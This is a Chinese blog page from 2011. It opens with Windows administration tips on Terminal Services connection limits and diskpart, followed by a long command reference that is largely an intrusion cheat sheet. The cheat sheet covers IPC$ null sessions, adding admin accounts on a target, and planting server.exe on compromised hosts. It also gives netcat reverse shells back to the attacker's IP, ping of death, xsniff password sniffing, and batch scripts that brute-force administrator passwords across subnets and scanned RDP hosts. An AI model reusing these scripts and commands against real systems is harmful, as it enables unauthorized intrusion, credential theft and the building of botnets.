显示标签为“系统服务”的博文。显示所有博文
显示标签为“系统服务”的博文。显示所有博文

修改终端服务器超出连接数

{ Posted on 星期五, 五月 27, 2011 by Kaiser.XKw }
1.从终端服务配置中修改:
打开管理工具里的终端服务配置,再单击连接,双击右边的RDP-Tcp,弹出RDP-Tcp属性,选择网卡,可设置最多连接数,或者设置为无限制的连接数。当然这个值不也能太大,否则会占用较多的系统资源。不过这里修改的值好像不起作用,设置成无限制时照样还是会出现本文所说的情况。

修改会话存在时间:运行-Tscc.msc-连接-双击RDP-Tcp或右击-属性-会话-选中第一个的替代用户设置(O)-结束已断开的会话[将默认值“从不”改为一个适当的时间,比如30分钟]

   2.打开“控制面板”,双击“添加删除程序”,单击“添加删除Windows组件”*“组件” ,在Windows组件向导对话框中选中“终端服务” * “下一步” * “应用服务器” * “下 一步”,然后按照提示即可改变终端服务的模式。
不过听说用此法,改了应用需要许可证,90天后过期:(

3.win2003的话可以从组策略修改:
  组策略级别要高于终端服务配置,当启用组策略后终端服务配置中的相应选项会变成灰色不可修改
  运行-gpedit.msc-计算机配置-管理模板-Windows组件-终端服务
  双击右边的”限制连接数量“-选择”已启用“-填入允许的最大连接数

将磁盘分区标为活动的以及取消活动的方法

{ Posted on 星期五, 五月 27, 2011 by Kaiser.XKw }
系统分区必须是已为启动而标记为活动的主分区,并且必须位于启动系统时计算机访问的磁盘。同一磁盘同时只能有一个活动的系统分区。可以具有多个基本磁盘,每个磁盘各有一个活动分区。但是,只能通过某个指定的磁盘启动计算机。如果需要使用其他操作系统,则必须在重新启动计算机之前,先将其系统分区标记为活动。

  不能将现有的动态卷标记为活动。不过,可以将包含活动分区的基本磁盘转化为动态磁盘。磁盘转化后,该分区将成为活动的简单卷。如果活动分区不是当前的系统分区或引导分区,则它将成为简单卷并丢失其在分区表中的记录,这样,它也就不再是活动的。

  活动分区其实说白了就是写有引导数据的主分区,它可以完成与BIOS交接启动任务等一系列动作,以用来引导系统

  主分区最好只有一个,不然管理起来会比较麻烦,目前来说,小点的硬盘分10G就可以,大的可以考虑15–20G左右,太大了就没有意义了

将分区标记为活动分区(仅限于 32 位)

方法1:使用windows界面:
1. 在“运行”里输入”compmgmt.msc”(打开计算机管理);
2. 在控制台树种,单击”计算机管理”-”存储”-”磁盘管理”;
3. 在需要标为活动的分区上,点击”右键”,点击”将磁盘分区标为活动的”。

方法2:使用命令行:
1. 在”运行”里,输入”cmd”;
2. 接着输入”diskpart”;
3. 接着输入”list disk”;
4. 接着输入”select disk 0″比如我们现在要将第1硬盘的第1分区做为活动的;
5. 接着输入”list partition”;
6. 接着输入”select partition 1″;
7. 最后输入”active”。
取消将磁盘分区标为活动的

取消的时候只能有命令行,因为windows界面的那个选项卡已经变为浅色的不可以勾选了。
1.命令行提示符,运行DISKPART,运行入提示符变成”DISKPART>”;
2.使用”LIST DISK”命令确定你的移动硬盘的##号;
3.使用”Select DISK 0″将你的移动磁盘设置成当前操作磁盘;
4.使用”Select PARTITION 1″将第一个分区设置成当前的操作分区;
5.使用”INACTIVE”命令解除当前分区的活动状态。

DOS命令大全与用法

{ Posted on 星期六, 四月 09, 2011 by Kaiser.XKw }

net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中
findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find “命令成功完成” >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if “%2%”==”4″ goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加” “)
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end”标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ”>”指:覆盖;”>>”指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚”起始IP到终止IP”段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚”主机IP列表文件名”中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过”-l”参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f “tokens=1 delims= ” %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

